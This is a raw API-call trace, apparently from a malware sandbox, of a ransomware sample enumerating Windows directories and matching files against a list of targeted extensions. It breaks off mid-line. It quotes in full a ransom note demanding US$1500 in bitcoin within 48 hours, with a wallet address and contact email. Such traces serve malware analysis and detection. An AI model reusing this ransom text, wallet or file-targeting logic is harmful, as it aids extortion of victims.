[0108.617] lstrlenA (lpString="*.flac") returned 6 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.m4a") returned 0 [0108.617] lstrlenA (lpString="*.m4a") returned 5 [0108.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\91b19abf670635ea9462959c26e4f3bf\\Microsoft.Office.InfoPath.Permission.ni.dll", pszSpec="*.csv") returned 0 [0108.618] lstrlenA (lpString="*.csv") returned 5 [0108.618] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60d5a10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb60d5a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb60d5a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Permission.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.618] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.618] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb593f3f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb593f3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb593f3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a952f242bd0ccdd7c97be856090a732a", cAlternateFileName="A952F2~1")) returned 1 [0108.618] lstrcmpA (lpString1=".", lpString2="a952f242bd0ccdd7c97be856090a732a") returned -1 [0108.618] lstrcmpA (lpString1="..", lpString2="a952f242bd0ccdd7c97be856090a732a") returned -1 [0108.618] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*.*") returned="*.*" [0108.618] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\", lpString2="a952f242bd0ccdd7c97be856090a732a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a" [0108.618] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a") returned 100 [0108.618] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb593f3f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb593f3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb593f3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.635] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.635] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb593f3f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb593f3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb593f3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.635] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.635] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.635] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5919290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5919290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5919290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x4d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.635] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.635] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll") returned -1 [0108.635] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll") returned -1 [0108.635] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll") returned -1 [0108.635] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\*.*") returned="*.*" [0108.635] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\" [0108.635] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\") returned="" [0108.635] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\HOW TO DECRYPT FILES.txt" [0108.636] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\a952f242bd0ccdd7c97be856090a732a\\how to decrypt files.txt")) returned 0xffffffff [0108.636] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\a952f242bd0ccdd7c97be856090a732a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.662] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.662] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.663] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.663] CloseHandle (hObject=0x90) returned 1 [0108.664] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll" [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.ems") returned 0 [0108.664] lstrlenA (lpString="*.ems") returned 5 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.db") returned 0 [0108.664] lstrlenA (lpString="*.db") returned 4 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.dbf") returned 0 [0108.664] lstrlenA (lpString="*.dbf") returned 5 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.myox") returned 0 [0108.664] lstrlenA (lpString="*.myox") returned 6 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.myo") returned 0 [0108.664] lstrlenA (lpString="*.myo") returned 5 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qbw") returned 0 [0108.664] lstrlenA (lpString="*.qbw") returned 5 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qbb") returned 0 [0108.664] lstrlenA (lpString="*.qbb") returned 5 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qbm") returned 0 [0108.664] lstrlenA (lpString="*.qbm") returned 5 [0108.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qbo") returned 0 [0108.665] lstrlenA (lpString="*.qbo") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qbx") returned 0 [0108.665] lstrlenA (lpString="*.qbx") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qba") returned 0 [0108.665] lstrlenA (lpString="*.qba") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qby") returned 0 [0108.665] lstrlenA (lpString="*.qby") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qbj") returned 0 [0108.665] lstrlenA (lpString="*.qbj") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.ofx") returned 0 [0108.665] lstrlenA (lpString="*.ofx") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.qif") returned 0 [0108.665] lstrlenA (lpString="*.qif") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mye") returned 0 [0108.665] lstrlenA (lpString="*.mye") returned 5 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mbox") returned 0 [0108.665] lstrlenA (lpString="*.mbox") returned 6 [0108.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.eml") returned 0 [0108.665] lstrlenA (lpString="*.eml") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.pst") returned 0 [0108.666] lstrlenA (lpString="*.pst") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.ost") returned 0 [0108.666] lstrlenA (lpString="*.ost") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.idx") returned 0 [0108.666] lstrlenA (lpString="*.idx") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.dbx") returned 0 [0108.666] lstrlenA (lpString="*.dbx") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.sql") returned 0 [0108.666] lstrlenA (lpString="*.sql") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mdb") returned 0 [0108.666] lstrlenA (lpString="*.mdb") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.fdb") returned 0 [0108.666] lstrlenA (lpString="*.fdb") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.wab") returned 0 [0108.666] lstrlenA (lpString="*.wab") returned 5 [0108.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.dat") returned 0 [0108.667] lstrlenA (lpString="*.dat") returned 5 [0108.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.txt") returned 0 [0108.667] lstrlenA (lpString="*.txt") returned 5 [0108.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.jpeg") returned 0 [0108.667] lstrlenA (lpString="*.jpeg") returned 6 [0108.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.jpg") returned 0 [0108.667] lstrlenA (lpString="*.jpg") returned 5 [0108.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.png") returned 0 [0108.667] lstrlenA (lpString="*.png") returned 5 [0108.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.php") returned 0 [0108.667] lstrlenA (lpString="*.php") returned 5 [0108.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.cs") returned 0 [0108.667] lstrlenA (lpString="*.cs") returned 4 [0108.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.cpp") returned 0 [0108.668] lstrlenA (lpString="*.cpp") returned 5 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.rar") returned 0 [0108.668] lstrlenA (lpString="*.rar") returned 5 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.zip") returned 0 [0108.668] lstrlenA (lpString="*.zip") returned 5 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.html") returned 0 [0108.668] lstrlenA (lpString="*.html") returned 6 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.htm") returned 0 [0108.668] lstrlenA (lpString="*.htm") returned 5 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.xlsx") returned 0 [0108.668] lstrlenA (lpString="*.xlsx") returned 6 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.xls") returned 0 [0108.668] lstrlenA (lpString="*.xls") returned 5 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mp4") returned 0 [0108.668] lstrlenA (lpString="*.mp4") returned 5 [0108.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.ppt") returned 0 [0108.669] lstrlenA (lpString="*.ppt") returned 5 [0108.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.pptx") returned 0 [0108.669] lstrlenA (lpString="*.pptx") returned 6 [0108.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.doc") returned 0 [0108.669] lstrlenA (lpString="*.doc") returned 5 [0108.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.dot") returned 0 [0108.669] lstrlenA (lpString="*.dot") returned 5 [0108.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.docx") returned 0 [0108.669] lstrlenA (lpString="*.docx") returned 6 [0108.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.7z") returned 0 [0108.669] lstrlenA (lpString="*.7z") returned 4 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.tar") returned 0 [0108.670] lstrlenA (lpString="*.tar") returned 5 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.bz2") returned 0 [0108.670] lstrlenA (lpString="*.bz2") returned 5 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.gz") returned 0 [0108.670] lstrlenA (lpString="*.gz") returned 4 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.mkv") returned 0 [0108.670] lstrlenA (lpString="*.mkv") returned 5 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.eml") returned 0 [0108.670] lstrlenA (lpString="*.eml") returned 5 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.msg") returned 0 [0108.670] lstrlenA (lpString="*.msg") returned 5 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.edb") returned 0 [0108.670] lstrlenA (lpString="*.edb") returned 5 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.accdb") returned 0 [0108.670] lstrlenA (lpString="*.accdb") returned 7 [0108.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.odb") returned 0 [0108.670] lstrlenA (lpString="*.odb") returned 5 [0108.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.java") returned 0 [0108.671] lstrlenA (lpString="*.java") returned 6 [0108.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\a952f242bd0ccdd7c97be856090a732a\\Microsoft.Office.InfoPath.Client.Internal.Host.Interop.ni.dll", pszSpec="*.asm") returned 0 [0108.671] lstrlenA (lpString="*.asm") returned 5 [0108.671] PathMatchSpecA 